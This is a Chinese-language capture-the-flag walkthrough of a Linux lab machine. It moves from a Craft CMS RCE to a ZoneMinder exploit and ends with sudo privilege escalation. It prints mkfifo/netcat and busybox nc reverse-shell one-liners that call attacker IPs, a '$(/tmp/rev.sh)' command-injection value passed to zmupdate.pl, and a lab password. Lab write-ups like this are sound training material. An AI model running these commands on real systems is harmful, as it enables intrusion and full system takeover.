靶场信息
- 系统:Linux
- 难度:中等
预枚举Pre Enum
Nmap
Nmap scan report for bogon (10.10.11.245)
Host is up (0.36s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://surveillance.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
只有80端口,写入hosts后访问
Web信息枚举&攻击 Web Enum & ATT
访问http://surveillance.htb/
发现CraftCMS,view-source看到版本4.4.14
gobuster扫描目录发现/admin
后台
└─$ gobuster dir -u http://surveillance.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://surveillance.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 200) [Size: 304]
/.gitkeep (Status: 200) [Size: 0]
/admin (Status: 302) [Size: 0] [--> http://surveillance.htb/admin/login]
/css (Status: 301) [Size: 178] [--> http://surveillance.htb/css/]
/fonts (Status: 301) [Size: 178] [--> http://surveillance.htb/fonts/]
/images (Status: 301) [Size: 178] [--> http://surveillance.htb/images/]
/img (Status: 301) [Size: 178] [--> http://surveillance.htb/img/]
/index (Status: 200) [Size: 1]
/index.php (Status: 200) [Size: 16230]
/js (Status: 301) [Size: 178] [--> http://surveillance.htb/js/]
/logout (Status: 302) [Size: 0] [--> http://surveillance.htb/]
/web.config (Status: 200) [Size: 1202]
/wp-admin (Status: 418) [Size: 24409]
Progress: 4723 / 4724 (99.98%)
===============================================================
Finished
===============================================================
网上找到Craft CMS 4.4.14
的RCE
Github有现成的poc也能打
https://gist.github.com/gmh5225/8fad5f02c2cf0334249614eb80cbf4ce
改一下脚本,因为很多人都在打,WebShell的文件名可能冲突
拿到www-data权限 Get www-data
通过这个脚本拿到shell
这个Shell非常不稳定,需要做一个权限维持,学到一个新的Linux权限维持方法
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.x.x 4444 >/tmp/f
rm /tmp/f
:- 删除任何名为的现有文件
/tmp/f
以重新开始。
- 删除任何名为的现有文件
mkfifo /tmp/f
:- 创建名为
/tmp/f
的命名管道 (FIFO)。命名管道支持进程之间的通信。
- 创建名为
cat /tmp/f | /bin/bash -i 2>&1
:- 从命名管道 (
/tmp/f
) 读取内容,并使用 选项将内容通过管道传送到/bin/bash
以实现交互式外壳。-i
2>&1
将标准错误(文件描述符 2)重定向到标准输出(文件描述符 1),确保错误消息通过管道发送。
- 从命名管道 (
nc 10.10.x.x 4444 >/tmp/f
:- 在端口 上建立与 IP 地址 的 Netcat (
nc
) 连接。10.10.x.x``4444
- 将管道的整个输出(包括 Bash shell 的输出)重定向到命名管道
/tmp/f
。此操作通过将 shell 输出发送回命名管道来创建双向通信通道。
- 在端口 上建立与 IP 地址 的 Netcat (
在信息枚举的过程中,从/etc/passwd
中发现三个重要的用户
两个用户matthew,zoneminder
可以登录该机器,同时还有一个backup
用户,它的家目录是/var/backups
这个备份下都是Linux系统备份,没有太大意义
在craft的目录下,我们找到了一个数据库备份文件(sql.zip)
本地重建起来,一顿手搓发现该站点admin用户的hash,真实名字是Matthew,之前/etc/passwd
中也有Matthew用户,很可能密码复用
拿到 matthew 权限 Get matthew
识别一下hash的类型
这里用hashcat爆破一下1400
用这个密码撞一下Matthew用户,ssh连接成功
zoneminder相关信息枚举 Enum zoneminder
手动枚举了一些没有发现可利用点,上传linpeas生成报告
似乎是zoneminder用户的相关密码,先收集下来作为字典以便密码喷洒
同样在数据库中也还有一个密码
一个关注了的微信公众号发了一条推送,是讲zoneminder的一个CVE
从中得知zoneminder是一个监控摄像机的软件,所以结合这台机器的名字,这应该是一款网络摄像头
所以我寻找zoneminder相关的信息
有一个nginx的配置文件
server {
listen 127.0.0.1:8080;
root /usr/share/zoneminder/www;
index index.php;
access_log /var/log/zm/access.log;
error_log /var/log/zm/error.log;
location / {
try_files $uri $uri/ /index.php?$args =404;
location ~ /api/(css|img|ico) {
rewrite ^/api(.+)$ /api/app/webroot/$1 break;
try_files $uri $uri/ =404;
}
location /api {
rewrite ^/api(.+)$ /api/app/webroot/index.php?p=$1 last;
}
location /cgi-bin {
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $request_filename;
fastcgi_param HTTP_PROXY "";
fastcgi_pass unix:/run/fcgiwrap.sock;
}
location ~ \.php$ {
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $request_filename;
fastcgi_param HTTP_PROXY "";
fastcgi_index index.php;
fastcgi_pass unix:/var/run/php/php8.1-fpm-zoneminder.sock;
}
}
}
可以发现zoneminder部署在本地,这时候学到一个新姿势
SSH端口转发访问到本地资源
ssh -L 33333:127.0.0.1:8080 matthew@surveillance.htb
将surveillance.htb
的本地8080端口转发到kali本地的33333端口
然后我们就能在浏览器访问127.0.0.1:33333
从而访问到ZoneMinder
攻击zoneminder ATT ZM
肯定是首先尝试弱口令,google一下搜到默认口令admin/admin,失败
在ZM本地部署的路径下/usr/share/zoneminder/www
找到一组Config,找到ZM版本是1.36.32
与上面微信公众号推送里面适配度也太高了吧
直接拿里面的POC打
拿到Root权限 Get Root
拿到zoneminder
用户的shell,sudo -l
通过分析/usr/bin/zmupdate.pl
文件发现可以输入文件目录而不是用户
用nc反弹shell,这里需要用busybox调用nc
#!/bin/bash
busybox nc 10.10.14.77 3333 -e sh
然后在加上之前找到的密码ZoneMinderPassword2023
sudo /usr/bin/zmupdate.pl --version=1 --user='$(/tmp/rev.sh)' --pass=ZoneMinderPassword2023
Pwned!!!
总结
一个网络摄像头的靶机,部署craftcms WEB服务,本地部署zoneminder服务视频监控
- web一眼看到是
Craft CMS
,之前ACTF差不多,直接拿GitHub里面的POC一把梭,拿到www-data
权限 - 在Web目录下找到一个数据库备份文件,保存下来在自己的本地重建数据库,发现Matthew用户的hash,密码复用拿到
matthew
的权限 linpeas
自动枚举发现很多信息指向zoneminder
,针对性的搜索发现zoneminder
用nginx
部署在本地,使用SSH端口转发
成功访问到机器的本地资源- 用佬的POC又是一把梭拿到
zoneminder
的权限,sudo
提权拿到root权限